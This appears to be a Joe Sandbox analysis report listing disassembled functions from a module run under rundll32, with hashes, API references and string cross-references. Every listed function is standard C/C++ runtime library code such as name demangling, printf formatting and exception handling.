Instruction ID: 483f6a83d11dcc029adc45c6f3cb0b9be83de0b0cb0aa062e5b1d14df8a2b4d4
Opcode Fuzzy Hash: 1a631cd767aa6af9efa7e5aa469953c2907d5c4779ab4064bd7ad95633586567
Instruction Fuzzy Hash: 9D319236204F8486EBA1CF25E8443EE73A4F788798F504126FA8D53B99DF39C659CB00

Function 0000000180013CD4 Relevance: 58.1, APIs: 4, Strings: 29, Instructions: 382COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 0000000180014245
DName::operator+.LIBVCRUNTIME ref: 000000018001427A
DName::operator+.LIBVCRUNTIME ref: 00000001800142B3

Strings

__int16, xrefs: 0000000180013EDC
signed , xrefs: 0000000180014212
int, xrefs: 0000000180013D80
char16_t, xrefs: 0000000180013FD4
float, xrefs: 0000000180013E26
auto, xrefs: 0000000180014007
void, xrefs: 0000000180013E38
__int64, xrefs: 0000000180013F7B
wchar_t, xrefs: 0000000180014166
char, xrefs: 0000000180013DA4
__int32, xrefs: 0000000180013F8A
short, xrefs: 0000000180013D92
volatile, xrefs: 00000001800140EB
<unknown>, xrefs: 0000000180013FE6
long , xrefs: 0000000180013DE3
const, xrefs: 00000001800140A3
long, xrefs: 0000000180013D6E
char8_t, xrefs: 0000000180013FF5
bool, xrefs: 0000000180013F9C
__int8, xrefs: 0000000180013EEE
char32_t, xrefs: 00000001800141C7
decltype(auto), xrefs: 000000018001411C
UNKNOWN, xrefs: 0000000180014148
volatile, xrefs: 00000001800140BE
this , xrefs: 000000018001418D
unsigned , xrefs: 0000000180014202
__w64 , xrefs: 0000000180013F18
double, xrefs: 0000000180013DFA
__int128, xrefs: 0000000180013F6C

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Name::operator+
String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $auto$bool$char$char16_t$char32_t$char8_t$const$decltype(auto)$double$float$int$long$long $short$signed $this $unsigned $void$volatile$wchar_t
API String ID: 2943138195-1482988683
Opcode ID: f5b08725d49e3936faf24a31500805328ba618e891ce830165a6676dc23d0718
Instruction ID: aba4e943f25002773c1e8b8ff256808fc8ff7469cd32bafab8b6d36a2db658ad
Opcode Fuzzy Hash: f5b08725d49e3936faf24a31500805328ba618e891ce830165a6676dc23d0718
Instruction Fuzzy Hash: 8E024E72A10F18D8FBA6CB68D8953ED27B1B31D7C4F608119EA091AAA8DF74C74DC740

Function 00000001800177FC Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 000000018001788D
DName::operator+.LIBVCRUNTIME ref: 00000001800178C6
DName::operator+.LIBVCRUNTIME ref: 000000018001799A
DName::operator+.LIBVCRUNTIME ref: 00000001800179AB
DName::operator+.LIBVCRUNTIME ref: 0000000180017A0E
DName::operator+.LIBVCRUNTIME ref: 0000000180017A1E
DName::operator+.LIBVCRUNTIME ref: 0000000180017A6A
DName::operator+.LIBVCRUNTIME ref: 0000000180017A7C
DName::operator+.LIBVCRUNTIME ref: 0000000180017BF1

Part of subcall function 000000018001994C: Replicator::operator[].LIBVCRUNTIME ref: 00000001800199A6

DName::operator+.LIBVCRUNTIME ref: 0000000180017C73
DName::operator+.LIBVCRUNTIME ref: 0000000180017C82

Strings

`anonymous namespace', xrefs: 0000000180017B4E

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Name::operator+$Replicator::operator[]
String ID: `anonymous namespace'
API String ID: 3863519203-3062148218
Opcode ID: 99c0d059bb14feceadd0ebac364fdec140f15412be5d4b7962f4a11c550691ce
Instruction ID: 780ad3a83c53e58fc5f4bcda82df12fb3de2ceedc09e18eee4d15cf768c518c0
Opcode Fuzzy Hash: 99c0d059bb14feceadd0ebac364fdec140f15412be5d4b7962f4a11c550691ce
Instruction Fuzzy Hash: D2E14872604B8899EBA28F64E8803DD77B1F349788F908115FA8D17B96DF38C659C740

Function 0000000180018768 Relevance: 21.4, APIs: 6, Strings: 6, Instructions: 359COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 0000000180018C0C
swprintf.LEGACY_STDIO_DEFINITIONS ref: 0000000180018C2C
DName::DName.LIBVCRUNTIME ref: 0000000180018C3C
DName::operator+.LIBVCRUNTIME ref: 0000000180018C8C

Strings

`generic-class-parameter-, xrefs: 0000000180018C9D
`template-type-parameter-, xrefs: 0000000180018CAD
nullptr, xrefs: 0000000180018951
NULL, xrefs: 0000000180018835
lambda, xrefs: 0000000180018B2C
`generic-method-parameter-, xrefs: 0000000180018C59

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: NameName::$Name::operator+swprintf
String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-$lambda$nullptr
API String ID: 130963256-2441609178
Opcode ID: 1b7cca95e2e488a3e0c80d76d27b89714392a22bae90429b9d429f6739e61c38
Instruction ID: 2de753167b07bd77337a4f86cbd4a1a1ff146968b76736af4f3f81d3ad70022d
Opcode Fuzzy Hash: 1b7cca95e2e488a3e0c80d76d27b89714392a22bae90429b9d429f6739e61c38
Instruction Fuzzy Hash: 0FF1AF72604E1889FBD79BA4C9953FC27A1AF0D7C4F54C116FA0A27A96DF38874DA301

Function 0000000180015C48 Relevance: 19.9, APIs: 13, Instructions: 361COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 0000000180015C99
DName::operator+.LIBVCRUNTIME ref: 0000000180015D62
DName::operator+.LIBVCRUNTIME ref: 0000000180015DAB
DName::operator+.LIBVCRUNTIME ref: 0000000180015DBC

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: d75365040a848f4e962de2583f4bdf6dcab0124c40e345c2fd97b6724785b456
Instruction ID: 59aeec8a3cdcdbcd6b95e25ddd39330fc951fab43e09b50c7be90718a66a7329
Opcode Fuzzy Hash: d75365040a848f4e962de2583f4bdf6dcab0124c40e345c2fd97b6724785b456
Instruction Fuzzy Hash: CCF13D76B04A889EEB52DFA4E4903EC77B1E30978CF448016FA496BA96DF34C65DC340

Function 0000000180013980 Relevance: 16.7, APIs: 11, Instructions: 158COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00000001800139E8
DName::operator+.LIBVCRUNTIME ref: 0000000180013AE5
DName::operator+.LIBVCRUNTIME ref: 0000000180013B3E
DName::operator+.LIBVCRUNTIME ref: 0000000180013B6A
DName::operator+.LIBVCRUNTIME ref: 0000000180013B7C
DName::operator+.LIBVCRUNTIME ref: 0000000180013BAB

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: a7deb5bfb90b94af832b3ced5090f2e4193ca0aafd624f38f0026d8047bab8f3
Instruction ID: 318727eee5e13463933b1bdaa130879d0bade3f0a89f414074ac98ea7bab58df
Opcode Fuzzy Hash: a7deb5bfb90b94af832b3ced5090f2e4193ca0aafd624f38f0026d8047bab8f3
Instruction Fuzzy Hash: AD711C72710A49AAFB52DFA4D4913DC37B1A7487CCF808515EE4967A99EF30C71AC390

Function 000000018001994C Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 192COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBVCRUNTIME ref: 00000001800199A6

Strings

generic-type-, xrefs: 0000000180019A4F
`template-parameter-, xrefs: 0000000180019A3B
`generic-type-, xrefs: 0000000180019A82
template-parameter-, xrefs: 0000000180019A08

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Replicator::operator[]
String ID: `generic-type-$`template-parameter-$generic-type-$template-parameter-
API String ID: 3676697650-3207858774
Opcode ID: 5a260dd3a37411976ea98f4b6fb2ab20663cecc062b10b3ff23bd445ef19509f
Instruction ID: 42aa4a1d08367d9119b1856bc683fc241d67aaeadb9c155bb09d8b169f315b88
Opcode Fuzzy Hash: 5a260dd3a37411976ea98f4b6fb2ab20663cecc062b10b3ff23bd445ef19509f
Instruction Fuzzy Hash: E2817A32616A8C89FBA2CFA5E4903E837A1A75DBC8F94C116FA4907795DF39C749C340

Function 0000000180015478 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00000001800154D2
DName::operator+.LIBVCRUNTIME ref: 0000000180015608

Strings

struct , xrefs: 000000018001562C
cointerface , xrefs: 00000001800155AF
enum , xrefs: 00000001800155E5
coclass , xrefs: 00000001800155C1
`unknown ecsu', xrefs: 000000018001549E
union , xrefs: 0000000180015635
class , xrefs: 000000018001561D

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Name::operator+
String ID: `unknown ecsu'$class $coclass $cointerface $enum $struct $union
API String ID: 2943138195-1464470183
Opcode ID: 088971c54ca3ffb1adebbb16f067770a9e4fe21448ff300c31355ef277b9d300
Instruction ID: 86b2220616b80be68583d285cd14afb8824f7222dcd2462d23f21e207e41fe12
Opcode Fuzzy Hash: 088971c54ca3ffb1adebbb16f067770a9e4fe21448ff300c31355ef277b9d300
Instruction Fuzzy Hash: 90514F32610F58C9FB92CB64E8907EC37B2B7183C9FA08015EA895BA98DF35C659C740

Function 000000018003D970 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 489COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000018003D9B4
_invalid_parameter_noinfo.LIBCMT ref: 000000018003DD8C
_invalid_parameter_noinfo.LIBCMT ref: 000000018003E037

Strings

0, xrefs: 000000018003DDDC
p, xrefs: 000000018003DA66
-, xrefs: 000000018003DA4A
f, xrefs: 000000018003DAD6
p, xrefs: 000000018003DADE

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$0$f$p$p
API String ID: 3215553584-1865143739
Opcode ID: 1a16dd49484b322b6fd78fdbbed546c3ccc268b2020a70802ac313a8fc196001
Instruction ID: 634aa9d0042bbda353e8cc45d4c8daf7f92220045ba3d69c75e7207222ffe171
Opcode Fuzzy Hash: 1a16dd49484b322b6fd78fdbbed546c3ccc268b2020a70802ac313a8fc196001
Instruction Fuzzy Hash: C412B032A0418D86FBA76E15F0443EB77A1F788B94F96C116F68647AC4DF78C688CB00

Function 000000018003E3D4 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 478COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000018003E418
_invalid_parameter_noinfo.LIBCMT ref: 000000018003E7F0
_invalid_parameter_noinfo.LIBCMT ref: 000000018003EA97

Strings

f, xrefs: 000000018003E53A
-, xrefs: 000000018003E4AE
0, xrefs: 000000018003E83B
p, xrefs: 000000018003E4CA
p, xrefs: 000000018003E542

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$0$f$p$p
API String ID: 3215553584-1865143739
Opcode ID: ff8427b3a9059b88c8ce9f386e4ea062f82f7a66593184870899fb3a07859c96
Instruction ID: 93a9ff39d45d2419c6a7fc755833649a49288bc20d1d0bfe1c27cd3576f2de20
Opcode Fuzzy Hash: ff8427b3a9059b88c8ce9f386e4ea062f82f7a66593184870899fb3a07859c96
Instruction Fuzzy Hash: E612E331A042DA86FBA39B14D0543EB7791F35ABD4F9AC312F696476C4DF38C6888B10

Function 0000000180017220 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 111COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00000001800173D4

Part of subcall function 0000000180013CD4: DName::operator+.LIBVCRUNTIME ref: 0000000180014245
Part of subcall function 0000000180013CD4: DName::operator+.LIBVCRUNTIME ref: 000000018001427A

DName::operator+.LIBVCRUNTIME ref: 0000000180017386

Strings

std::nullptr_t , xrefs: 0000000180017312
cli::pin_ptr<, xrefs: 000000018001739D
std::nullptr_t, xrefs: 00000001800172FF
void , xrefs: 0000000180017292
void, xrefs: 000000018001726A
cli::array<, xrefs: 0000000180017353

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Name::operator+
String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
API String ID: 2943138195-2239912363
Opcode ID: cfb6c385fe5b2ebc5ee7c871daae868a3679fdeefb2062b3cbc30b8eca46961b
Instruction ID: 11c260e0c16152af3f3440f9639a3bccbf9e6650033c1e5fc3f0bfcfe7c7928e
Opcode Fuzzy Hash: cfb6c385fe5b2ebc5ee7c871daae868a3679fdeefb2062b3cbc30b8eca46961b
Instruction Fuzzy Hash: 30513872B14F5898FB928B60D8803ED77B0B70C788F548125EE5923B96DF788389C710

Function 000000018002068C Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000001800206CC
_invalid_parameter_noinfo.LIBCMT ref: 0000000180020A78
_invalid_parameter_noinfo.LIBCMT ref: 0000000180020D23

Strings

p, xrefs: 0000000180020752
-, xrefs: 0000000180020739
f, xrefs: 00000001800207C2
p, xrefs: 00000001800207CA

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$f$p$p
API String ID: 3215553584-2516539321
Opcode ID: 19540540e18a12fbd70b594dd22ebd52cf533dd5dd11ba696ac90525da22a166
Instruction ID: 3b4b050498cdcb5f336cd356739b46ea81abb083d02af334d156d32d0928b2a6
Opcode Fuzzy Hash: 19540540e18a12fbd70b594dd22ebd52cf533dd5dd11ba696ac90525da22a166
Instruction Fuzzy Hash: 7B12A27160438A86FBA39B14E0447EA7762F3587D4FF4C115F6D246AC6DF39CA888B05

Function 000000018000C928 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000000018000C984

Part of subcall function 000000018000F070: __GetUnwindTryBlock.LIBCMT ref: 000000018000F0B3
Part of subcall function 000000018000F070: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000000018000F0D8

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000000018000CA5C
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000000018000CCAB
std::bad_alloc::bad_alloc.LIBCMT ref: 000000018000CDB7

Strings

csm, xrefs: 000000018000CA05
csm, xrefs: 000000018000C99E
csm, xrefs: 000000018000CA7F

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 8152444fde3df33d3fc19ab23fa89504be66b01d467fa357cf36183d89cc0f39
Instruction ID: d2b285feaf2a7c9902849b73c345f52bfdc77f3075a64cd68fdca09590970db2
Opcode Fuzzy Hash: 8152444fde3df33d3fc19ab23fa89504be66b01d467fa357cf36183d89cc0f39
Instruction Fuzzy Hash: 23D18D32604B488AEBA2DB25D4807DD3BA0F7497C8F008216FF8957B96CF34D689C701

Function 000000018004816C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00000001800485F8,?,?,00000000,00000001800473F0,?,?,?,000000018003FF1D), ref: 00000001800482EB
GetProcAddress.KERNEL32(?,?,?,00000001800485F8,?,?,00000000,00000001800473F0,?,?,?,000000018003FF1D), ref: 00000001800482F7

Strings

ext-ms-, xrefs: 0000000180048248
api-ms-, xrefs: 0000000180048235

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 0d299566b81bc57299c7a1d78208d6e8857f952c1b81df691ed9895207af2ff4
Instruction ID: 950cb933599524e4be349329b0f14d28e915af748e4a11c5b25ef056b0586ea4
Opcode Fuzzy Hash: 0d299566b81bc57299c7a1d78208d6e8857f952c1b81df691ed9895207af2ff4
Instruction Fuzzy Hash: C941F231311E0881FAA7CB16AD403DA2396BB4DBE4F49C925BE1A97784EE3CC64D9344

Function 0000000273F41740 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 0000000273F4185B

Strings

Address %p has no image-section, xrefs: 0000000273F417B2, 0000000273F41905
VirtualQuery failed for %d bytes at address %p, xrefs: 0000000273F418F1
Mingw-w64 runtime failure:, xrefs: 0000000273F41777
VirtualProtect failed with code 0x%x, xrefs: 0000000273F418CE

Memory Dump Source

Source File: 00000006.00000002.3331451655.0000000273F41000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000273F40000, based on PE: true

Associated: 00000006.00000002.3331409929.0000000273F40000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3331451655.0000000273F85000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_273f40000_rundll32.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 0cce06267e1579f90ae27719d32f235d794723324326edd454bf682594529e94
Instruction ID: 663189738c40874af7135dc25b0b982f4eec5aa8fa6ad61ed8319b582aa1f326
Opcode Fuzzy Hash: 0cce06267e1579f90ae27719d32f235d794723324326edd454bf682594529e94
Instruction Fuzzy Hash: CB41AF72F08F4482EB14DB51E8497DA77A0F789BE0F644220DA4D07BA5EB38C685E742

Function 0000000180048428 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 77libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000000018004848F
GetLastError.KERNEL32 ref: 00000001800484A1
LoadLibraryExW.KERNEL32 ref: 00000001800484E2
FreeLibrary.KERNEL32 ref: 000000018004853D
